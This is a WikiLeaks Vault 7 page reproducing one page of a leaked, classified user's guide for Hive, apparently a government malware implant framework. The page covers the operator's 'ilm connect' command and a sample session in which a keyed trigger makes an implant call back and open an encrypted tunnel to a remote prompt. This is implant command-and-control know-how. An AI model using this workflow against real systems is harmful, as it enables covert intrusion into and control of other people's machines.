WikiLeaks - Vault 7: Projects

# Vault 7: Projects

This publication series is about specific projects related to the Vault 7 main publication.

### Hive

# Users Guide

9 November, 2015

- 1
- 2
…
- 14
- 15
- 16
- 17
- 18
…
- 30
- 31

SECRET//NOFORN
(U) Deployment (U) Hive 2.9.1 User's Guide
(S) If the trigger file already exists, then the details of the trigger will be displayed and the trigger
will be sent as shown in the example below.
(S) If everything worked, the listener should receive a callback from the implant based on the
implant's configured trigger delay. The client is now in a connected state.
(S) NOTE: If more than one implant residing on the same network is keyed the same, the
operator should verify that the “[<implant IP address>]” prompt displayed (as seen on
the last line of the example) is the intended target's IP address.
3.4.1.1.4 (S) Disconnected State: Connect
(S) The connect option combines the functionality of the trigger and listen options. Connect is
called in the exact same way as trigger, with the use of a trigger file being it's only parameter:
ilm connect <triggerFileName>
(S) See section 3.4.1.2 on page 14 for details on how to create a trigger file.
12 SECRET//NOFORN//20401109
> ilm connect 10.6.5.201
Using existing target profile.
Listening for connection on port 10000 ...
Using existing target profile.
Trigger details:
. Remote IP address 10.6.5.201 with raw-tcp trigger on port 22
. Callback IP address 10.6.5.195 on port 10000
. Trigger key: ab9b5db0d04598cc9e66fe57aabc887b9ef9d96c
Trigger sent.
... connection established!
Connection details:
. Remote IP address 10.6.5.201 on port 48492
. Local IP address 10.6.5.195 on port 10000
Enabling encrypted communications:
. TLS handshake complete.
. AES-encrypted tunnel established.
[Success]
************ Success ************
[ilm connect 10.6.5.201]
[10.6.5.201]>

- 1
- 2
…
- 14
- 15
- 16
- 17
- 18
…
- 30
- 31